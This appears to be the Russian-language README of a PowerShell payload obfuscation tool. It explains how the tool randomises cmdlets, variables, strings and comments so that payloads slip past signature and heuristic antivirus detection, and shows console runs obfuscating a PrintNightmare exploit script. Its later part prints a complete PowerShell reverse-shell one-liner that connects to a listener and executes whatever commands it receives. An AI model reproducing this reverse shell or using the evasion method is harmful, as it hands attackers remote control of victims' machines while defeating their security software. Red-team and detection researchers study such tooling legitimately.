
Глубокий подход к обфускации отдельных компонентов полезной нагрузки PowerShell, будь то в Windows или Kali Linux.
Традиционные методы обфускации, как правило, добавляют слои для инкапсуляции готового кода, например base64 или сжатие. Такие полезные нагрузки продолжают иметь разную степень успеха, но их стало тривиально извлекать, а некоторые загрузчики часто обнаруживаются, что по сути создает узкие места.
Подход, который представляет этот инструмент, — это методология, позволяющая нацеливаться и обфусцировать отдельные компоненты скрипта со случайными вариациями, достигая при этом той же заложенной логики, без инкапсуляции всей полезной нагрузки в единый слой. Из-за сложности логики обфускации результирующие полезные нагрузки будет очень сложно подписать, и они проскользнут мимо эвристических движков, не запрограммированных на эмуляцию унаследованной логики.
Хотя этот скрипт может успешно обфусцировать большинство полезных нагрузок самостоятельно, этот проект также послужит постоянной основой, которую я буду использовать для создания будущих функций, которые будут использовать эту основу для предоставления специализированных обфусцированных полезных нагрузок, например той, которая создает только обратные оболочки.
Я написал статью в блоге для Offensive Security в качестве введения в техники, которые представляет этот инструмент. Прежде чем углубляться дальше, рекомендую сначала прочитать её: https://www.offensive-security.com/offsec/powershell-obfuscation/
В рамках моей текущей работы по обфускации PowerShell я создаю скрипты, которые генерируют специализированные полезные нагрузки, использующие эту основу. Они помогли мне сэкономить время, и я надеюсь, они будут полезны и вам. Вы можете найти их в собственных папках в корне этого репозитория.
Как и многие другие языки программирования, PowerShell можно разбить на множество различных компонентов, составляющих исполняемую логику. Это позволяет нам относительно легко обходить сигнатурные детекции, изменяя то, как мы представляем отдельные компоненты в полезной нагрузке, в замаскированную или непонятную производную.
Имейте в виду, что нацеливание на каждый компонент в сложных полезных нагрузках очень навязчиво. Этот инструмент построен так, чтобы вы могли контролируемо выбирать компоненты для обфускации. Я обнаружил, что многие сигнатуры можно обойти, просто нацелившись на командлеты, переменные и любые комментарии. При использовании этого против сложных полезных нагрузок, таких как print nightmare, помните, что кастомные параметры функций / переменные также будут изменены. Всегда тщательно тестируйте результирующие полезные нагрузки и убедитесь, что вы знаете о любых измененных именованных параметрах.
Типы компонентов, такие как пайпы и переменные конвейера, представлены здесь, чтобы сделать вашу полезную нагрузку более запутанной и сложной для декодирования.
Поддерживаемые типы
Каждый компонент имеет свой собственный выделенный генератор, который содержит список возможных статических или динамически генерируемых значений, случайным образом выбираемых при каждом выполнении. Если существует несколько экземпляров компонента, генератор будет обрабатывать каждый из них по отдельности. Это добавляет степень случайности каждый раз, когда вы запускаете этот инструмент для данной полезной нагрузки, так что каждая итерация будет отличаться. Единственное исключение — имена переменных.
Если алгоритм, связанный с конкретным компонентом, начинает вызывать флаги полезной нагрузки, текущий дизайн позволяет легко изменить логику для этого генератора, не нарушая работу всего скрипта.
$Picker = 1..6 | Get-Random
Switch ($Picker) {
1 { $NewValue = 'Stay' }
2 { $NewValue = 'Off' }
3 { $NewValue = 'Ronins' }
4 { $NewValue = 'Lawn' }
5 { $NewValue = 'And' }
6 { $NewValue = 'Rocks' }
}
Эта основа и результирующие полезные нагрузки были протестированы на следующих операционных системах и версиях PowerShell. Результирующие обратные оболочки не будут работать на PowerShell v2.0.
| Версия PS | Протестировано на ОС | Invoke-PSObfuscation.ps1 | Reverse Shell |
|---|---|---|---|
| 7.1.3 | Kali 2021.2 | Поддерживается | Поддерживается |
| 5.1.19041.1023 | Windows 10 10.0.19042 | Поддерживается | Поддерживается |
| 5.1.21996.1 | Windows 11 10.0.21996 | Поддерживается | Поддерживается |
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1
>> Слой 0 обфускации
>> https://github.com/gh0x0st
[*] Обфускация пространств имен классов
[*] Обфускация командлетов
[*] Обфускация переменных
[-] -DriverName теперь -QhYm48JbCsqF
[-] -NewUser теперь -ybrcKe
[-] -NewPassword теперь -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL теперь -dNr
[-] -ModuleName теперь -jd
[-] -Module теперь -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type теперь -fjTOTLDCGufqEu
[-] -FullName теперь -0vEKnCqm
[-] -EnumElements теперь -B9aFqfvDbjtOXPxrR
[-] -Bitfield теперь -bFUCG7LB9gq50p4e
[-] -StructFields теперь -xKryDRQnLdjTC8
[-] -PackingSize теперь -0CB3X
[-] -ExplicitLayout теперь -YegeaeLpPnB
[*] Удаление комментариев
[*] Запись полезной нагрузки в o-printnightmare.ps1
[*] Готово
PS /home/tristram>
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges
>> Слой 0 обфускации
>> https://github.com/gh0x0st